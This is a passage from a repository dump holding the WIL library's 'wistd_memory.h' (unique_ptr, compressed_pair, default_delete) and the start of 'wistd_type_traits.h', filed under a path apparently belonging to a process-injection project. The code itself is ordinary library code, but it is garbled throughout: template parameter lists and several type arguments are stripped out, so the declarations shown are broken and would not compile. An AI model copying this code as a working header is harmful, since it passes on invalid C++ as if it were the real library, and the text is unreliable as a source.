typedef typename _Dp::pointer type;\n };\n\n template \n struct __pointer_type<_Tp, _Dp, false>\n {\n typedef _Tp* type;\n };\n\n } // __pointer_type_imp\n\n template \n struct __pointer_type\n {\n typedef typename __pointer_type_imp::__pointer_type<_Tp, typename remove_reference<_Dp>::type>::type type;\n };\n\n template ::value && !__libcpp_is_final<_Tp>::value>\n struct __compressed_pair_elem {\n typedef _Tp _ParamT;\n typedef _Tp& reference;\n typedef const _Tp& const_reference;\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n __WI_LIBCPP_INLINE_VISIBILITY constexpr __compressed_pair_elem() : __value_() {}\n\n template ::type>::value\n >::type>\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr explicit\n __compressed_pair_elem(_Up&& __u)\n : __value_(wistd::forward<_Up>(__u))\n {\n }\n\n // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed\n#else\n __WI_LIBCPP_INLINE_VISIBILITY __compressed_pair_elem() : __value_() {}\n __WI_LIBCPP_INLINE_VISIBILITY\n __compressed_pair_elem(_ParamT __p) : __value_(wistd::forward<_ParamT>(__p)) {}\n#endif\n\n __WI_LIBCPP_INLINE_VISIBILITY reference __get() WI_NOEXCEPT { return __value_; }\n __WI_LIBCPP_INLINE_VISIBILITY\n const_reference __get() const WI_NOEXCEPT { return __value_; }\n\n private:\n _Tp __value_;\n };\n\n template \n struct __compressed_pair_elem<_Tp, _Idx, true> : private _Tp {\n typedef _Tp _ParamT;\n typedef _Tp& reference;\n typedef const _Tp& const_reference;\n typedef _Tp __value_type;\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n __WI_LIBCPP_INLINE_VISIBILITY constexpr __compressed_pair_elem() = default;\n\n template ::type>::value\n >::type>\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr explicit\n __compressed_pair_elem(_Up&& __u)\n : __value_type(wistd::forward<_Up>(__u))\n {}\n\n // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed\n#else\n __WI_LIBCPP_INLINE_VISIBILITY __compressed_pair_elem() : __value_type() {}\n __WI_LIBCPP_INLINE_VISIBILITY\n __compressed_pair_elem(_ParamT __p)\n : __value_type(wistd::forward<_ParamT>(__p)) {}\n#endif\n\n __WI_LIBCPP_INLINE_VISIBILITY reference __get() WI_NOEXCEPT { return *this; }\n __WI_LIBCPP_INLINE_VISIBILITY\n const_reference __get() const WI_NOEXCEPT { return *this; }\n };\n\n // Tag used to construct the second element of the compressed pair.\n struct __second_tag {};\n\n template \n class __compressed_pair : private __compressed_pair_elem<_T1, 0>,\n private __compressed_pair_elem<_T2, 1> {\n typedef __compressed_pair_elem<_T1, 0> _Base1;\n typedef __compressed_pair_elem<_T2, 1> _Base2;\n\n // NOTE: This static assert should never fire because __compressed_pair\n // is *almost never* used in a scenario where it's possible for T1 == T2.\n // (The exception is wistd::function where it is possible that the function\n // object and the allocator have the same type).\n static_assert((!is_same<_T1, _T2>::value),\n \"__compressed_pair cannot be instantated when T1 and T2 are the same type; \"\n \"The current implementation is NOT ABI-compatible with the previous \"\n \"implementation for this configuration\");\n\n public:\n#ifndef __WI_LIBCPP_CXX03_LANG\n template , _Dummy>::value &&\n __dependent_type, _Dummy>::value\n >::type\n >\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr __compressed_pair() {}\n\n template ::type,\n __compressed_pair>::value,\n bool>::type = true>\n __WI_LIBCPP_INLINE_VISIBILITY constexpr explicit\n __compressed_pair(_Tp&& __t)\n : _Base1(wistd::forward<_Tp>(__t)), _Base2() {}\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY constexpr\n __compressed_pair(__second_tag, _Tp&& __t)\n : _Base1(), _Base2(wistd::forward<_Tp>(__t)) {}\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY constexpr\n __compressed_pair(_U1&& __t1, _U2&& __t2)\n : _Base1(wistd::forward<_U1>(__t1)), _Base2(wistd::forward<_U2>(__t2)) {}\n\n // NOTE: Since we have not added 'tuple' to 'wistd', the 'piecewise' constructor has been removed\n#else\n __WI_LIBCPP_INLINE_VISIBILITY\n __compressed_pair() {}\n\n __WI_LIBCPP_INLINE_VISIBILITY explicit\n __compressed_pair(_T1 __t1) : _Base1(wistd::forward<_T1>(__t1)) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n __compressed_pair(__second_tag, _T2 __t2)\n : _Base1(), _Base2(wistd::forward<_T2>(__t2)) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n __compressed_pair(_T1 __t1, _T2 __t2)\n : _Base1(wistd::forward<_T1>(__t1)), _Base2(wistd::forward<_T2>(__t2)) {}\n#endif\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename _Base1::reference first() WI_NOEXCEPT {\n return static_cast<_Base1&>(*this).__get();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename _Base1::const_reference first() const WI_NOEXCEPT {\n return static_cast<_Base1 const&>(*this).__get();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename _Base2::reference second() WI_NOEXCEPT {\n return static_cast<_Base2&>(*this).__get();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename _Base2::const_reference second() const WI_NOEXCEPT {\n return static_cast<_Base2 const&>(*this).__get();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n void swap(__compressed_pair& __x)\n __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value &&\n __is_nothrow_swappable<_T2>::value)\n {\n using wistd::swap_wil;\n swap_wil(first(), __x.first());\n swap_wil(second(), __x.second());\n }\n };\n\n // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n void swap(__compressed_pair<_T1, _T2>& __x, __compressed_pair<_T1, _T2>& __y)\n __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value &&\n __is_nothrow_swappable<_T2>::value) {\n __x.swap(__y);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n void swap_wil(__compressed_pair<_T1, _T2>& __x, __compressed_pair<_T1, _T2>& __y)\n __WI_NOEXCEPT_(__is_nothrow_swappable<_T1>::value &&\n __is_nothrow_swappable<_T2>::value) {\n __x.swap(__y);\n }\n\n // default_delete\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS default_delete {\n static_assert(!is_function<_Tp>::value,\n \"default_delete cannot be instantiated for function types\");\n#ifndef __WI_LIBCPP_CXX03_LANG\n __WI_LIBCPP_INLINE_VISIBILITY constexpr default_delete() WI_NOEXCEPT = default;\n#else\n __WI_LIBCPP_INLINE_VISIBILITY default_delete() {}\n#endif\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n default_delete(const default_delete<_Up>&,\n typename enable_if::value>::type* =\n 0) WI_NOEXCEPT {}\n\n __WI_LIBCPP_INLINE_VISIBILITY void operator()(_Tp* __ptr) const WI_NOEXCEPT {\n static_assert(sizeof(_Tp) > 0,\n \"default_delete can not delete incomplete type\");\n static_assert(!is_void<_Tp>::value,\n \"default_delete can not delete incomplete type\");\n delete __ptr;\n }\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS default_delete<_Tp[]> {\n private:\n template \n struct _EnableIfConvertible\n : enable_if::value> {};\n\n public:\n#ifndef __WI_LIBCPP_CXX03_LANG\n __WI_LIBCPP_INLINE_VISIBILITY constexpr default_delete() WI_NOEXCEPT = default;\n#else\n __WI_LIBCPP_INLINE_VISIBILITY default_delete() {}\n#endif\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n default_delete(const default_delete<_Up[]>&,\n typename _EnableIfConvertible<_Up>::type* = 0) WI_NOEXCEPT {}\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n typename _EnableIfConvertible<_Up>::type\n operator()(_Up* __ptr) const WI_NOEXCEPT {\n static_assert(sizeof(_Tp) > 0,\n \"default_delete can not delete incomplete type\");\n static_assert(!is_void<_Tp>::value,\n \"default_delete can not delete void type\");\n delete[] __ptr;\n }\n };\n\n\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n template \n struct __unique_ptr_deleter_sfinae {\n static_assert(!is_reference<_Deleter>::value, \"incorrect specialization\");\n typedef const _Deleter& __lval_ref_type;\n typedef _Deleter&& __good_rval_ref_type;\n typedef true_type __enable_rval_overload;\n };\n\n template \n struct __unique_ptr_deleter_sfinae<_Deleter const&> {\n typedef const _Deleter& __lval_ref_type;\n typedef const _Deleter&& __bad_rval_ref_type;\n typedef false_type __enable_rval_overload;\n };\n\n template \n struct __unique_ptr_deleter_sfinae<_Deleter&> {\n typedef _Deleter& __lval_ref_type;\n typedef _Deleter&& __bad_rval_ref_type;\n typedef false_type __enable_rval_overload;\n };\n#endif // !defined(__WI_LIBCPP_CXX03_LANG)\n\n template >\n class __WI_LIBCPP_TEMPLATE_VIS unique_ptr {\n public:\n typedef _Tp element_type;\n typedef _Dp deleter_type;\n typedef typename __pointer_type<_Tp, deleter_type>::type pointer;\n\n static_assert(!is_rvalue_reference::value,\n \"the specified deleter type cannot be an rvalue reference\");\n\n private:\n __compressed_pair __ptr_;\n\n struct __nat { int __for_bool_; };\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n typedef __unique_ptr_deleter_sfinae<_Dp> _DeleterSFINAE;\n\n template \n using _LValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__lval_ref_type;\n\n template \n using _GoodRValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__good_rval_ref_type;\n\n template \n using _BadRValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__bad_rval_ref_type;\n\n template , _Dummy>::type>\n using _EnableIfDeleterDefaultConstructible =\n typename enable_if::value &&\n !is_pointer<_Deleter>::value>::type;\n\n template \n using _EnableIfDeleterConstructible =\n typename enable_if::value>::type;\n\n template \n using _EnableIfMoveConvertible = typename enable_if<\n is_convertible::value &&\n !is_array<_Up>::value\n >::type;\n\n template \n using _EnableIfDeleterConvertible = typename enable_if<\n (is_reference<_Dp>::value && is_same<_Dp, _UDel>::value) ||\n (!is_reference<_Dp>::value && is_convertible<_UDel, _Dp>::value)\n >::type;\n\n template \n using _EnableIfDeleterAssignable = typename enable_if<\n is_assignable<_Dp&, _UDel&&>::value\n >::type;\n\n public:\n template >\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr unique_ptr() WI_NOEXCEPT : __ptr_(pointer()) {}\n\n template >\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr unique_ptr(nullptr_t) WI_NOEXCEPT : __ptr_(pointer()) {}\n\n template >\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit unique_ptr(pointer __p) WI_NOEXCEPT : __ptr_(__p) {}\n\n template >>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(pointer __p, _LValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(__p, __d) {}\n\n template >>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(pointer __p, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(__p, wistd::move(__d)) {\n static_assert(!is_reference::value,\n \"rvalue deleter bound to reference\");\n }\n\n template >>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(pointer __p, _BadRValRefType<_Dummy> __d) = delete;\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(unique_ptr&& __u) WI_NOEXCEPT\n : __ptr_(__u.release(), wistd::forward(__u.get_deleter())) {\n }\n\n template , _Up>,\n class = _EnableIfDeleterConvertible<_Ep>\n >\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT\n : __ptr_(__u.release(), wistd::forward<_Ep>(__u.get_deleter())) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(unique_ptr&& __u) WI_NOEXCEPT {\n reset(__u.release());\n __ptr_.second() = wistd::forward(__u.get_deleter());\n return *this;\n }\n\n template , _Up>,\n class = _EnableIfDeleterAssignable<_Ep>\n >\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT {\n reset(__u.release());\n __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter());\n return *this;\n }\n\n#else // __WI_LIBCPP_CXX03_LANG\n private:\n unique_ptr(unique_ptr&);\n template unique_ptr(unique_ptr<_Up, _Ep>&);\n\n unique_ptr& operator=(unique_ptr&);\n template unique_ptr& operator=(unique_ptr<_Up, _Ep>&);\n\n public:\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr() : __ptr_(pointer())\n {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n static_assert(is_default_constructible::value,\n \"unique_ptr::deleter_type is not default constructible\");\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(nullptr_t) : __ptr_(pointer())\n {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit unique_ptr(pointer __p)\n : __ptr_(wistd::move(__p)) {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n operator __rv() {\n return __rv(*this);\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(__rv __u)\n : __ptr_(__u->release(),\n wistd::forward(__u->get_deleter())) {}\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n typename enable_if<\n !is_array<_Up>::value &&\n is_convertible::pointer,\n pointer>::value &&\n is_assignable::value,\n unique_ptr&>::type\n operator=(unique_ptr<_Up, _Ep> __u) {\n reset(__u.release());\n __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter());\n return *this;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(pointer __p, deleter_type __d)\n : __ptr_(wistd::move(__p), wistd::move(__d)) {}\n#endif // __WI_LIBCPP_CXX03_LANG\n\n __WI_LIBCPP_INLINE_VISIBILITY\n ~unique_ptr() { reset(); }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(nullptr_t) WI_NOEXCEPT {\n reset();\n return *this;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename add_lvalue_reference<_Tp>::type\n operator*() const {\n return *__ptr_.first();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n pointer operator->() const WI_NOEXCEPT {\n return __ptr_.first();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n pointer get() const WI_NOEXCEPT {\n return __ptr_.first();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n deleter_type& get_deleter() WI_NOEXCEPT {\n return __ptr_.second();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n const deleter_type& get_deleter() const WI_NOEXCEPT {\n return __ptr_.second();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT {\n return __ptr_.first() != nullptr;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n pointer release() WI_NOEXCEPT {\n pointer __t = __ptr_.first();\n __ptr_.first() = pointer();\n return __t;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n void reset(pointer __p = pointer()) WI_NOEXCEPT {\n pointer __tmp = __ptr_.first();\n __ptr_.first() = __p;\n if (__tmp)\n __ptr_.second()(__tmp);\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n void swap(unique_ptr& __u) WI_NOEXCEPT {\n __ptr_.swap(__u.__ptr_);\n }\n };\n\n\n template \n class __WI_LIBCPP_TEMPLATE_VIS unique_ptr<_Tp[], _Dp> {\n public:\n typedef _Tp element_type;\n typedef _Dp deleter_type;\n typedef typename __pointer_type<_Tp, deleter_type>::type pointer;\n\n private:\n __compressed_pair __ptr_;\n\n template \n struct _CheckArrayPointerConversion : is_same<_From, pointer> {};\n\n template \n struct _CheckArrayPointerConversion<_FromElem*>\n : integral_constant::value ||\n (is_same::value &&\n is_convertible<_FromElem(*)[], element_type(*)[]>::value)\n >\n {};\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n typedef __unique_ptr_deleter_sfinae<_Dp> _DeleterSFINAE;\n\n template \n using _LValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__lval_ref_type;\n\n template \n using _GoodRValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__good_rval_ref_type;\n\n template \n using _BadRValRefType =\n typename __dependent_type<_DeleterSFINAE, _Dummy>::__bad_rval_ref_type;\n\n template , _Dummy>::type>\n using _EnableIfDeleterDefaultConstructible =\n typename enable_if::value &&\n !is_pointer<_Deleter>::value>::type;\n\n template \n using _EnableIfDeleterConstructible =\n typename enable_if::value>::type;\n\n template \n using _EnableIfPointerConvertible = typename enable_if<\n _CheckArrayPointerConversion<_Pp>::value\n >::type;\n\n template \n using _EnableIfMoveConvertible = typename enable_if<\n is_array<_Up>::value &&\n is_same::value &&\n is_same::value &&\n is_convertible<_ElemT(*)[], element_type(*)[]>::value\n >::type;\n\n template \n using _EnableIfDeleterConvertible = typename enable_if<\n (is_reference<_Dp>::value && is_same<_Dp, _UDel>::value) ||\n (!is_reference<_Dp>::value && is_convertible<_UDel, _Dp>::value)\n >::type;\n\n template \n using _EnableIfDeleterAssignable = typename enable_if<\n is_assignable<_Dp&, _UDel&&>::value\n >::type;\n\n public:\n template >\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr unique_ptr() WI_NOEXCEPT : __ptr_(pointer()) {}\n\n template >\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr unique_ptr(nullptr_t) WI_NOEXCEPT : __ptr_(pointer()) {}\n\n template ,\n class = _EnableIfPointerConvertible<_Pp>>\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit unique_ptr(_Pp __p) WI_NOEXCEPT\n : __ptr_(__p) {}\n\n template >,\n class = _EnableIfPointerConvertible<_Pp>>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(_Pp __p, _LValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(__p, __d) {}\n\n template >>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(nullptr_t, _LValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(nullptr, __d) {}\n\n template >,\n class = _EnableIfPointerConvertible<_Pp>>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(_Pp __p, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(__p, wistd::move(__d)) {\n static_assert(!is_reference::value,\n \"rvalue deleter bound to reference\");\n }\n\n template >>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(nullptr_t, _GoodRValRefType<_Dummy> __d) WI_NOEXCEPT\n : __ptr_(nullptr, wistd::move(__d)) {\n static_assert(!is_reference::value,\n \"rvalue deleter bound to reference\");\n }\n\n template >,\n class = _EnableIfPointerConvertible<_Pp>>\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(_Pp __p, _BadRValRefType<_Dummy> __d) = delete;\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(unique_ptr&& __u) WI_NOEXCEPT\n : __ptr_(__u.release(), wistd::forward(__u.get_deleter())) {\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(unique_ptr&& __u) WI_NOEXCEPT {\n reset(__u.release());\n __ptr_.second() = wistd::forward(__u.get_deleter());\n return *this;\n }\n\n template , _Up>,\n class = _EnableIfDeleterConvertible<_Ep>\n >\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT\n : __ptr_(__u.release(), wistd::forward<_Ep>(__u.get_deleter())) {\n }\n\n template , _Up>,\n class = _EnableIfDeleterAssignable<_Ep>\n >\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr&\n operator=(unique_ptr<_Up, _Ep>&& __u) WI_NOEXCEPT {\n reset(__u.release());\n __ptr_.second() = wistd::forward<_Ep>(__u.get_deleter());\n return *this;\n }\n\n#else // __WI_LIBCPP_CXX03_LANG\n private:\n template explicit unique_ptr(_Up);\n\n unique_ptr(unique_ptr&);\n template unique_ptr(unique_ptr<_Up>&);\n\n unique_ptr& operator=(unique_ptr&);\n template unique_ptr& operator=(unique_ptr<_Up>&);\n\n template \n unique_ptr(_Up __u,\n typename conditional<\n is_reference::value, deleter_type,\n typename add_lvalue_reference::type>::type,\n typename enable_if::value,\n __nat>::type = __nat());\n public:\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr() : __ptr_(pointer()) {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(nullptr_t) : __ptr_(pointer()) {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n explicit unique_ptr(pointer __p) : __ptr_(__p) {\n static_assert(!is_pointer::value,\n \"unique_ptr constructed with null function pointer deleter\");\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(pointer __p, deleter_type __d)\n : __ptr_(__p, wistd::forward(__d)) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(nullptr_t, deleter_type __d)\n : __ptr_(pointer(), wistd::forward(__d)) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n operator __rv() {\n return __rv(*this);\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr(__rv __u)\n : __ptr_(__u->release(),\n wistd::forward(__u->get_deleter())) {}\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(__rv __u) {\n reset(__u->release());\n __ptr_.second() = wistd::forward(__u->get_deleter());\n return *this;\n }\n\n#endif // __WI_LIBCPP_CXX03_LANG\n\n public:\n __WI_LIBCPP_INLINE_VISIBILITY\n ~unique_ptr() { reset(); }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr& operator=(nullptr_t) WI_NOEXCEPT {\n reset();\n return *this;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n typename add_lvalue_reference<_Tp>::type\n operator[](size_t __i) const {\n return __ptr_.first()[__i];\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n pointer get() const WI_NOEXCEPT {\n return __ptr_.first();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n deleter_type& get_deleter() WI_NOEXCEPT {\n return __ptr_.second();\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n const deleter_type& get_deleter() const WI_NOEXCEPT {\n return __ptr_.second();\n }\n __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_EXPLICIT operator bool() const WI_NOEXCEPT {\n return __ptr_.first() != nullptr;\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n pointer release() WI_NOEXCEPT {\n pointer __t = __ptr_.first();\n __ptr_.first() = pointer();\n return __t;\n }\n\n template \n __WI_LIBCPP_INLINE_VISIBILITY\n typename enable_if<\n _CheckArrayPointerConversion<_Pp>::value\n >::type\n reset(_Pp __p) WI_NOEXCEPT {\n pointer __tmp = __ptr_.first();\n __ptr_.first() = __p;\n if (__tmp)\n __ptr_.second()(__tmp);\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n void reset(nullptr_t = nullptr) WI_NOEXCEPT {\n pointer __tmp = __ptr_.first();\n __ptr_.first() = nullptr;\n if (__tmp)\n __ptr_.second()(__tmp);\n }\n\n __WI_LIBCPP_INLINE_VISIBILITY\n void swap(unique_ptr& __u) WI_NOEXCEPT {\n __ptr_.swap(__u.__ptr_);\n }\n\n };\n\n // Provide both 'swap_wil' and 'swap' since we now have two ADL scenarios that we need to work\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n typename enable_if<\n __is_swappable<_Dp>::value,\n void\n >::type\n swap(unique_ptr<_Tp, _Dp>& __x, unique_ptr<_Tp, _Dp>& __y) WI_NOEXCEPT {__x.swap(__y);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n typename enable_if<\n __is_swappable<_Dp>::value,\n void\n >::type\n swap_wil(unique_ptr<_Tp, _Dp>& __x, unique_ptr<_Tp, _Dp>& __y) WI_NOEXCEPT {__x.swap(__y);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator==(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return __x.get() == __y.get();}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator!=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__x == __y);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator< (const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y)\n {\n typedef typename unique_ptr<_T1, _D1>::pointer _P1;\n typedef typename unique_ptr<_T2, _D2>::pointer _P2;\n typedef typename common_type<_P1, _P2>::type _Vp;\n return less<_Vp>()(__x.get(), __y.get());\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator> (const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return __y < __x;}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator<=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__y < __x);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator>=(const unique_ptr<_T1, _D1>& __x, const unique_ptr<_T2, _D2>& __y) {return !(__x < __y);}\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator==(const unique_ptr<_T1, _D1>& __x, nullptr_t) WI_NOEXCEPT\n {\n return !__x;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator==(nullptr_t, const unique_ptr<_T1, _D1>& __x) WI_NOEXCEPT\n {\n return !__x;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator!=(const unique_ptr<_T1, _D1>& __x, nullptr_t) WI_NOEXCEPT\n {\n return static_cast(__x);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator!=(nullptr_t, const unique_ptr<_T1, _D1>& __x) WI_NOEXCEPT\n {\n return static_cast(__x);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator<(const unique_ptr<_T1, _D1>& __x, nullptr_t)\n {\n typedef typename unique_ptr<_T1, _D1>::pointer _P1;\n return less<_P1>()(__x.get(), nullptr);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator<(nullptr_t, const unique_ptr<_T1, _D1>& __x)\n {\n typedef typename unique_ptr<_T1, _D1>::pointer _P1;\n return less<_P1>()(nullptr, __x.get());\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator>(const unique_ptr<_T1, _D1>& __x, nullptr_t)\n {\n return nullptr < __x;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator>(nullptr_t, const unique_ptr<_T1, _D1>& __x)\n {\n return __x < nullptr;\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator<=(const unique_ptr<_T1, _D1>& __x, nullptr_t)\n {\n return !(nullptr < __x);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator<=(nullptr_t, const unique_ptr<_T1, _D1>& __x)\n {\n return !(__x < nullptr);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator>=(const unique_ptr<_T1, _D1>& __x, nullptr_t)\n {\n return !(__x < nullptr);\n }\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n bool\n operator>=(nullptr_t, const unique_ptr<_T1, _D1>& __x)\n {\n return !(nullptr < __x);\n }\n\n#ifdef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY\n unique_ptr<_Tp, _Dp>\n move(unique_ptr<_Tp, _Dp>& __t)\n {\n return unique_ptr<_Tp, _Dp>(__rv >(__t));\n }\n\n#endif\n}\n/// @endcond\n\n#endif // _WISTD_MEMORY_H_\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/wistd_type_traits.h", "content": "// -*- C++ -*-\n//===------------------------ type_traits ---------------------------------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is dual licensed under the MIT and the University of Illinois Open\n// Source Licenses. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n\n// STL common functionality\n//\n// Some aspects of STL are core language concepts that should be used from all C++ code, regardless\n// of whether exceptions are enabled in the component. Common library code that expects to be used\n// from exception-free components want these concepts, but including directly introduces\n// friction as it requires components not using STL to declare their STL version. Doing so creates\n// ambiguity around whether STL use is safe in a particular component and implicitly brings in\n// a long list of headers (including ) which can create further ambiguity around throwing new\n// support (some routines pulled in may expect it). Secondarily, pulling in these headers also has\n// the potential to create naming conflicts or other implied dependencies.\n//\n// To promote the use of these core language concepts outside of STL-based binaries, this file is\n// selectively pulling those concepts *directly* from corresponding STL headers. The corresponding\n// \"std::\" namespace STL functions and types should be preferred over these in code that is bound to\n// STL. The implementation and naming of all functions are taken directly from STL, instead using\n// \"wistd\" (Windows Implementation std) as the namespace.\n//\n// Routines in this namespace should always be considered a reflection of the *current* STL implementation\n// of those routines. Updates from STL should be taken, but no \"bugs\" should be fixed here.\n//\n// New, exception-based code should not use this 